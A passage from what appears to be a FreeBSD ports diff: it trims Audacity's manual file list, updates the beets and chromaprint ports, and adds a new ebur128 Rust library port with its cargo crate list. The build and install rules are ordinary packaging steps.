-%%MANUAL%%%%DATADIR%%/help/manual/man/effect_menu_nyquist.html -%%MANUAL%%%%DATADIR%%/help/manual/man/effect_menu_vst.html -%%MANUAL%%%%DATADIR%%/help/manual/man/effects_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/envelope_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/eq_xml_to_txt_converter.html -%%MANUAL%%%%DATADIR%%/help/manual/man/equalization.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_audacity_settings_file_unwritable.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_copying_or_pasting.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_disk_full_or_not_writable.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_importing_raw_audio.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_insufficient_space_in_track.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_opening_or_reading_file.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_opening_sound_device.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_resampling.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_unable_to_export.html -%%MANUAL%%%%DATADIR%%/help/manual/man/error_unsuitable_drive.html -%%MANUAL%%%%DATADIR%%/help/manual/man/examples_exporting_audio_for_ringtones_and_ivr_messages.html -%%MANUAL%%%%DATADIR%%/help/manual/man/examples_of_generator_usage.html -%%MANUAL%%%%DATADIR%%/help/manual/man/export.html -%%MANUAL%%%%DATADIR%%/help/manual/man/export_formats_supported_by_audacity.html -%%MANUAL%%%%DATADIR%%/help/manual/man/export_multiple.html -%%MANUAL%%%%DATADIR%%/help/manual/man/export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/exporting_audio.html -%%MANUAL%%%%DATADIR%%/help/manual/man/exporting_to_an_external_program.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extended_import_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_cursor.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_device.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_edit.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_focus.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_mixer.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_play_at_speed.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_scriptables_i.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_scriptables_ii.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_seek.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_selection.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_tools.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_track.html -%%MANUAL%%%%DATADIR%%/help/manual/man/extra_menu_transport.html -%%MANUAL%%%%DATADIR%%/help/manual/man/fade_and_crossfade.html -%%MANUAL%%%%DATADIR%%/help/manual/man/fades.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_about_audacity.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_bugs.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_editing.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_errors.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_errors_on_opening_or_recovering_an_audacity_project.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_errors_opening_a_new_empty_project.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_installation_and_plug_ins.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_installing_the_ffmpeg_import_export_library.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_installing_the_lame_mp3_encoder.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_mp3_export_problems.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_opening_and_saving_files.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_playback.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_recording_how_to_s.html -%%MANUAL%%%%DATADIR%%/help/manual/man/faq_recording_troubleshooting.html -%%MANUAL%%%%DATADIR%%/help/manual/man/file_export_dialog.html -%%MANUAL%%%%DATADIR%%/help/manual/man/file_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/file_menu_export.html -%%MANUAL%%%%DATADIR%%/help/manual/man/file_menu_import.html -%%MANUAL%%%%DATADIR%%/help/manual/man/file_menu_recent_files.html -%%MANUAL%%%%DATADIR%%/help/manual/man/file_menu_save_project.html -%%MANUAL%%%%DATADIR%%/help/manual/man/filter_curve_eq.html -%%MANUAL%%%%DATADIR%%/help/manual/man/find_clipping.html -%%MANUAL%%%%DATADIR%%/help/manual/man/flac_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/generate_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/glossary.html -%%MANUAL%%%%DATADIR%%/help/manual/man/graphic_eq.html -%%MANUAL%%%%DATADIR%%/help/manual/man/help_button.html -%%MANUAL%%%%DATADIR%%/help/manual/man/help_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/help_menu_diagnostics.html -%%MANUAL%%%%DATADIR%%/help/manual/man/high_pass_filter.html -%%MANUAL%%%%DATADIR%%/help/manual/man/higher_speed_transfers.html -%%MANUAL%%%%DATADIR%%/help/manual/man/how_to_connect_your_equipment.html -%%MANUAL%%%%DATADIR%%/help/manual/man/how_to_get_help.html -%%MANUAL%%%%DATADIR%%/help/manual/man/how_to_set_up_audacity.html -%%MANUAL%%%%DATADIR%%/help/manual/man/import_export_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/import_filtering_and_importer_order.html -%%MANUAL%%%%DATADIR%%/help/manual/man/importing_and_exporting_labels.html -%%MANUAL%%%%DATADIR%%/help/manual/man/importing_audio.html -%%MANUAL%%%%DATADIR%%/help/manual/man/index_of_effects_generators_and_analyzers.html -%%MANUAL%%%%DATADIR%%/help/manual/man/information_for_developers.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_and_updating_audacity_on_linux.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_and_updating_audacity_on_mac_os_x.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_and_updating_audacity_on_windows.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_effect_generator_and_analyzer_plug_ins_on_linux.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_effect_generator_and_analyzer_plug_ins_on_mac_os_x.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_effect_generator_and_analyzer_plug_ins_on_windows.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_ffmpeg_for_mac.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_ffmpeg_for_windows.html -%%MANUAL%%%%DATADIR%%/help/manual/man/installing_plug_ins.html -%%MANUAL%%%%DATADIR%%/help/manual/man/interface_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/introduction_to_nyquist_and_lisp_programming.html -%%MANUAL%%%%DATADIR%%/help/manual/man/invert.html -%%MANUAL%%%%DATADIR%%/help/manual/man/karaoke.html -%%MANUAL%%%%DATADIR%%/help/manual/man/keyboard_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/keyboard_shortcut_reference.html -%%MANUAL%%%%DATADIR%%/help/manual/man/label_sounds.html -%%MANUAL%%%%DATADIR%%/help/manual/man/label_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/labels_editor.html -%%MANUAL%%%%DATADIR%%/help/manual/man/languages.html -%%MANUAL%%%%DATADIR%%/help/manual/man/latency_test.html -%%MANUAL%%%%DATADIR%%/help/manual/man/libraries_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/license.html -%%MANUAL%%%%DATADIR%%/help/manual/man/limiter.html -%%MANUAL%%%%DATADIR%%/help/manual/man/lof_files.html -%%MANUAL%%%%DATADIR%%/help/manual/man/loudness_normalization.html -%%MANUAL%%%%DATADIR%%/help/manual/man/low_pass_filter.html -%%MANUAL%%%%DATADIR%%/help/manual/man/low_pass_filter1.html -%%MANUAL%%%%DATADIR%%/help/manual/man/macros.html -%%MANUAL%%%%DATADIR%%/help/manual/man/macros_examples.html -%%MANUAL%%%%DATADIR%%/help/manual/man/manage_effects_generators_and_analyzers.html -%%MANUAL%%%%DATADIR%%/help/manual/man/manage_macros.html -%%MANUAL%%%%DATADIR%%/help/manual/man/manage_presets.html -%%MANUAL%%%%DATADIR%%/help/manual/man/measure_rms.html -%%MANUAL%%%%DATADIR%%/help/manual/man/menu_reference.html -%%MANUAL%%%%DATADIR%%/help/manual/man/metadata_editor.html -%%MANUAL%%%%DATADIR%%/help/manual/man/meter_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/midi_devices_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/mixer_board.html -%%MANUAL%%%%DATADIR%%/help/manual/man/mixer_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/mixing.html -%%MANUAL%%%%DATADIR%%/help/manual/man/modules.html -%%MANUAL%%%%DATADIR%%/help/manual/man/modules_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/mouse_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/moving_aup3_projects_from_audacity_3.x_to_audacity_2.html -%%MANUAL%%%%DATADIR%%/help/manual/man/mp2_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/mp3_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/multi_channel_recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/multi_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/multi_view.html -%%MANUAL%%%%DATADIR%%/help/manual/man/navigating_effects_without_using_a_mouse.html -%%MANUAL%%%%DATADIR%%/help/manual/man/navigation_tips.html -%%MANUAL%%%%DATADIR%%/help/manual/man/noise.html -%%MANUAL%%%%DATADIR%%/help/manual/man/noise_gate.html -%%MANUAL%%%%DATADIR%%/help/manual/man/noise_reduction.html -%%MANUAL%%%%DATADIR%%/help/manual/man/normalize.html -%%MANUAL%%%%DATADIR%%/help/manual/man/notch_filter.html -%%MANUAL%%%%DATADIR%%/help/manual/man/note_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/nyquist.html -%%MANUAL%%%%DATADIR%%/help/manual/man/nyquist_macros.html -%%MANUAL%%%%DATADIR%%/help/manual/man/nyquist_plug_in_installer.html -%%MANUAL%%%%DATADIR%%/help/manual/man/nyquist_prompt.html -%%MANUAL%%%%DATADIR%%/help/manual/man/ogg_vorbis_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/only_in_full_set.html -%%MANUAL%%%%DATADIR%%/help/manual/man/opening_malformed_mp3_files.html -%%MANUAL%%%%DATADIR%%/help/manual/man/opus_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/other_plug_ins_and_tools_for_fades.html -%%MANUAL%%%%DATADIR%%/help/manual/man/other_uncompressed_files_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/overdubbing_using_your_computer_s_on_board_sound_card.html -%%MANUAL%%%%DATADIR%%/help/manual/man/overdubbing_with_a_behringer_uca202_stereo_bidirectional_usb_audio_interface.html -%%MANUAL%%%%DATADIR%%/help/manual/man/overdubbing_with_a_samson_g_track_usb_microphone.html -%%MANUAL%%%%DATADIR%%/help/manual/man/overdubbing_with_a_shure_x2u_microphone_amplifier_usb_adapter.html -%%MANUAL%%%%DATADIR%%/help/manual/man/paulstretch.html -%%MANUAL%%%%DATADIR%%/help/manual/man/perceived_loudness_ebu_r_128.html -%%MANUAL%%%%DATADIR%%/help/manual/man/phaser.html -%%MANUAL%%%%DATADIR%%/help/manual/man/play.html -%%MANUAL%%%%DATADIR%%/help/manual/man/play_at_speed_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/playback.html -%%MANUAL%%%%DATADIR%%/help/manual/man/playback_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/playback_tips.html -%%MANUAL%%%%DATADIR%%/help/manual/man/playing_and_recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/plot_spectrum.html -%%MANUAL%%%%DATADIR%%/help/manual/man/pluck.html -%%MANUAL%%%%DATADIR%%/help/manual/man/portable_audacity.html -%%MANUAL%%%%DATADIR%%/help/manual/man/preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/preferences_settings_that_affect_edit_behavior.html -%%MANUAL%%%%DATADIR%%/help/manual/man/programming_in_nyquist.html -%%MANUAL%%%%DATADIR%%/help/manual/man/projects_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/punch_and_roll_record.html -%%MANUAL%%%%DATADIR%%/help/manual/man/quality_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/record.html -%%MANUAL%%%%DATADIR%%/help/manual/man/recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/recording_78_rpm_records.html -%%MANUAL%%%%DATADIR%%/help/manual/man/recording_church_services.html -%%MANUAL%%%%DATADIR%%/help/manual/man/recording_length.html -%%MANUAL%%%%DATADIR%%/help/manual/man/recording_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/recording_with_usb_turntables.html -%%MANUAL%%%%DATADIR%%/help/manual/man/recovery.html -%%MANUAL%%%%DATADIR%%/help/manual/man/regular_interval_labels.html -%%MANUAL%%%%DATADIR%%/help/manual/man/removing_labels_examples.html -%%MANUAL%%%%DATADIR%%/help/manual/man/repair.html -%%MANUAL%%%%DATADIR%%/help/manual/man/repeat.html -%%MANUAL%%%%DATADIR%%/help/manual/man/reset_configuration.html -%%MANUAL%%%%DATADIR%%/help/manual/man/reverb.html -%%MANUAL%%%%DATADIR%%/help/manual/man/reverse.html -%%MANUAL%%%%DATADIR%%/help/manual/man/rhythm_track.html -%%MANUAL%%%%DATADIR%%/help/manual/man/risset_drum.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sample_data_export.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sample_data_import.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sample_format_bit_depth.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sample_rates.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sample_workflow_for_exporting_to_itunes.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sample_workflow_for_lp_digitization.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sample_workflow_for_tape_digitization.html -%%MANUAL%%%%DATADIR%%/help/manual/man/saving.html -%%MANUAL%%%%DATADIR%%/help/manual/man/screenshot.html -%%MANUAL%%%%DATADIR%%/help/manual/man/scripting.html -%%MANUAL%%%%DATADIR%%/help/manual/man/scripting_reference.html -%%MANUAL%%%%DATADIR%%/help/manual/man/scrub_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/scrubbing_and_seeking.html -%%MANUAL%%%%DATADIR%%/help/manual/man/searching_the_manual.html -%%MANUAL%%%%DATADIR%%/help/manual/man/select_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/select_menu_at_zero_crossings.html -%%MANUAL%%%%DATADIR%%/help/manual/man/select_menu_clip_boundaries.html -%%MANUAL%%%%DATADIR%%/help/manual/man/select_menu_region.html -%%MANUAL%%%%DATADIR%%/help/manual/man/select_menu_spectral.html -%%MANUAL%%%%DATADIR%%/help/manual/man/select_menu_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/selecting_audio_the_basics.html -%%MANUAL%%%%DATADIR%%/help/manual/man/selection_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/selection_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sending_your_work_to_others.html -%%MANUAL%%%%DATADIR%%/help/manual/man/share_audio_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/silence.html -%%MANUAL%%%%DATADIR%%/help/manual/man/silence_finder.html -%%MANUAL%%%%DATADIR%%/help/manual/man/silence_finder_and_sound_finder.html -%%MANUAL%%%%DATADIR%%/help/manual/man/silence_finder_setting_parameters.html -%%MANUAL%%%%DATADIR%%/help/manual/man/size_limits_for_wav_and_aiff_files.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sliding_stretch.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sound_finder.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectral_delete.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectral_edit_multi_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectral_edit_parametric_eq.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectral_edit_shelves.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectral_selection.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectral_selection_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectrogram_settings.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectrogram_view.html -%%MANUAL%%%%DATADIR%%/help/manual/man/spectrograms_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/splitting_a_recording_into_separate_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/splitting_and_joining_stereo_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/status_bar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/subject_index.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sync_locked_track_groups.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sync_locked_track_groups_editing.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sync_locked_track_groups_time_shifting.html -%%MANUAL%%%%DATADIR%%/help/manual/man/sync_locked_track_groups_time_stretching.html -%%MANUAL%%%%DATADIR%%/help/manual/man/themes.html -%%MANUAL%%%%DATADIR%%/help/manual/man/time_shift_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/time_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/time_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/timeline.html -%%MANUAL%%%%DATADIR%%/help/manual/man/timer_record.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tips.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tips_for_recording_from_cassette_tape.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tone.html -%%MANUAL%%%%DATADIR%%/help/manual/man/toolbars_overview.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tools_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tools_menu_apply_macro.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tools_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/track_control_panel_and_vertical_scale.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_behaviors_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu_add_new.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu_align_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu_mix.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu_mute/unmute.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu_mute_unmute.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu_pan.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_menu_sort_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tracks_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_menu_cursor_to.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_menu_looping.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_menu_playing.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_menu_recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_menu_scrubbing.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_menu_transport_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/transport_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tremolo.html -%%MANUAL%%%%DATADIR%%/help/manual/man/troubleshooting_recording_with_usb_turntables_or_cassette_decks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/truncate_silence.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_audacity_settings_for_recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_click_and_pop_removal_techniques.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_connecting_up.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_copying_tapes_lps_or_minidiscs_to_cd.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_editing_an_existing_file.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_exporting_to_itunes.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_how_to_import_cds.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_how_to_import_files_from_itunes.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_looping.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_making_a_test_recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_making_ringtones_and_ivr_messages.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_mixing_a_narration_with_background_music.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_multi_track_overdubbing.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_punch_in_repair_of_recordings.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_recording_audio_playing_on_the_computer.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_recording_computer_playback_on_linux.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_recording_computer_playback_on_mac.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_recording_computer_playback_on_windows.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_recording_multi_track_overdubs.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_selecting_your_recording_device.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_vocal_removal_and_isolation.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorial_your_first_recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/tutorials.html -%%MANUAL%%%%DATADIR%%/help/manual/man/undo_redo_and_history.html -%%MANUAL%%%%DATADIR%%/help/manual/man/unzipping_the_manual.html -%%MANUAL%%%%DATADIR%%/help/manual/man/updating_from_audacity_2.x_to_audacity_3.html -%%MANUAL%%%%DATADIR%%/help/manual/man/usb_recording.html -%%MANUAL%%%%DATADIR%%/help/manual/man/vertical_zooming.html -%%MANUAL%%%%DATADIR%%/help/manual/man/view_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/view_menu_skip_to.html -%%MANUAL%%%%DATADIR%%/help/manual/man/view_menu_toolbars.html -%%MANUAL%%%%DATADIR%%/help/manual/man/view_menu_track_size.html -%%MANUAL%%%%DATADIR%%/help/manual/man/view_menu_zoom.html -%%MANUAL%%%%DATADIR%%/help/manual/man/vocal_reduction_and_isolation.html -%%MANUAL%%%%DATADIR%%/help/manual/man/vocoder.html -%%MANUAL%%%%DATADIR%%/help/manual/man/wahwah.html -%%MANUAL%%%%DATADIR%%/help/manual/man/warnings_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/wav_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/window_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/windows_accessing_the_windows_sound_controls.html -%%MANUAL%%%%DATADIR%%/help/manual/man/wma_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/zoom_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/zooming.html -%%MANUAL%%%%DATADIR%%/help/manual/quick_help.html %%DATADIR%%/nyquist/aud-do-support.lsp %%DATADIR%%/nyquist/dspprims.lsp %%DATADIR%%/nyquist/envelopes.lsp @@ -1465,6 +89,7 @@ share/applications/audacity.desktop %%DATADIR%%/nyquist/velocity.lsp %%DATADIR%%/nyquist/xlinit.lsp %%DATADIR%%/nyquist/xm.lsp +%%DATADIR%%/plug-ins/ShelfFilter.ny %%DATADIR%%/plug-ins/SpectralEditMulti.ny %%DATADIR%%/plug-ins/SpectralEditParametricEQ.ny %%DATADIR%%/plug-ins/SpectralEditShelves.ny diff --git a/audio/beets/Makefile b/audio/beets/Makefile index 420b61edce4..389eeae0a04 100644 --- a/audio/beets/Makefile +++ b/audio/beets/Makefile @@ -1,6 +1,6 @@ PORTNAME= beets DISTVERSION= 1.6.0 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= audio python MASTER_SITES= PYPI @@ -68,7 +68,7 @@ DISCOGS_RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}discogs-client>=2.2.1:audio/py-disco EMBYUPDATE_RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}requests>=0:www/py-requests@${PY_FLAVOR} FETCHART_RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}requests>=0:www/py-requests@${PY_FLAVOR} FFMPEG_RUN_DEPENDS= ffmpeg>=2:multimedia/ffmpeg -IMAGEMAGICK_RUN_DEPENDS= convert:graphics/ImageMagick6 +IMAGEMAGICK_USES= magick:run IPFS_RUN_DEPENDS= ipfs-go:sysutils/ipfs-go KODIUPDATE_RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}requests>=0:www/py-requests@${PY_FLAVOR} LASTFM_RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pylast>=0:audio/py-pylast@${PY_FLAVOR} diff --git a/audio/chromaprint/Makefile b/audio/chromaprint/Makefile index 05c01d10c62..a0e6a0f1c86 100644 --- a/audio/chromaprint/Makefile +++ b/audio/chromaprint/Makefile @@ -1,5 +1,5 @@ PORTNAME= chromaprint -DISTVERSION= 1.5.1.a.20221217 +DISTVERSION= 1.5.1.20221217 PORTREVISION= 1 CATEGORIES= audio #MASTER_SITES= https://github.com/acoustid/${PORTNAME}/releases/download/v${DISTVERSION}/ diff --git a/audio/chromaprint/distinfo b/audio/chromaprint/distinfo index d42def2d7cb..5f20e3b6fde 100644 --- a/audio/chromaprint/distinfo +++ b/audio/chromaprint/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678719395 -SHA256 (acoustid-chromaprint-1.5.1.a.20221217-aa67c95_GH0.tar.gz) = 0893b7198121dd2add81aa1233e5312cbc7446bdd6b6418a5af6ab24e82cb6b3 -SIZE (acoustid-chromaprint-1.5.1.a.20221217-aa67c95_GH0.tar.gz) = 1581151 +TIMESTAMP = 1682952377 +SHA256 (acoustid-chromaprint-1.5.1.20221217-aa67c95_GH0.tar.gz) = 0893b7198121dd2add81aa1233e5312cbc7446bdd6b6418a5af6ab24e82cb6b3 +SIZE (acoustid-chromaprint-1.5.1.20221217-aa67c95_GH0.tar.gz) = 1581151 diff --git a/audio/ebur128/Makefile b/audio/ebur128/Makefile new file mode 100644 index 00000000000..0a9e1bce317 --- /dev/null +++ b/audio/ebur128/Makefile @@ -0,0 +1,31 @@ +PORTNAME= ebur128 +DISTVERSION= 0.1.8 +CATEGORIES= audio + +MAINTAINER= diizzy@FreeBSD.org +COMMENT= Library implementing the EBU R128 loudness standard +WWW= https://github.com/sdroege/ebur128 + +LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/LICENSE + +BUILD_DEPENDS= cargo-cbuild:devel/cargo-c + +USES= cargo +USE_GITHUB= yes +USE_LDCONFIG= yes +GH_ACCOUNT= sdroege + +CONFLICTS_INSTALL= libebur128 + +do-build: + @${CARGO_CARGO_RUN} cbuild --verbose --verbose ${CARGO_BUILD_ARGS} + +do-install: + @${CARGO_CARGO_RUN} cinstall --verbose --verbose \ + --destdir "${STAGEDIR}" \ + --prefix "${PREFIX}" \ + ${CARGO_INSTALL_ARGS} + @${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/*.so + +.include diff --git a/audio/ebur128/Makefile.crates b/audio/ebur128/Makefile.crates new file mode 100644 index 00000000000..56443630e8c --- /dev/null +++ b/audio/ebur128/Makefile.crates @@ -0,0 +1,86 @@ +CARGO_CRATES= aho-corasick-1.0.1 \ + anes-0.1.6 \ + atty-0.2.14 \ + autocfg-1.1.0 \ + bitflags-1.3.2 \ + bumpalo-3.12.1 \ + cast-0.3.0 \ + cc-1.0.79 \ + cfg-if-1.0.0 \ + ciborium-0.2.0 \ + ciborium-io-0.2.0 \ + ciborium-ll-0.2.0 \ + clap-3.2.25 \ + clap_lex-0.2.4 \ + criterion-0.4.0 \ + criterion-plot-0.5.0 \ + crossbeam-channel-0.5.8 \ + crossbeam-deque-0.8.3 \ + crossbeam-epoch-0.9.14 \ + crossbeam-utils-0.8.15 \ + dasp_frame-0.11.0 \ + dasp_sample-0.11.0 \ + ebur128-0.1.1 \ + either-1.8.1 \ + env_logger-0.7.1 \ + float_eq-1.0.1 \ + getrandom-0.1.16 \ + half-1.8.2 \ + hashbrown-0.12.3 \ + hermit-abi-0.1.19 \ + hermit-abi-0.2.6 \ + hound-3.5.0 \ + indexmap-1.9.3 \ + itertools-0.10.5 \ + itoa-1.0.6 \ + js-sys-0.3.61 \ + lazy_static-1.4.0 \ + libc-0.2.142 \ + log-0.4.17 \ + memchr-2.5.0 \ + memoffset-0.8.0 \ + num-traits-0.2.15 \ + num_cpus-1.15.0 \ + once_cell-1.17.1 \ + oorandom-11.1.3 \ + os_str_bytes-6.5.0 \ + plotters-0.3.4 \ + plotters-backend-0.3.4 \ + plotters-svg-0.3.3 \ + 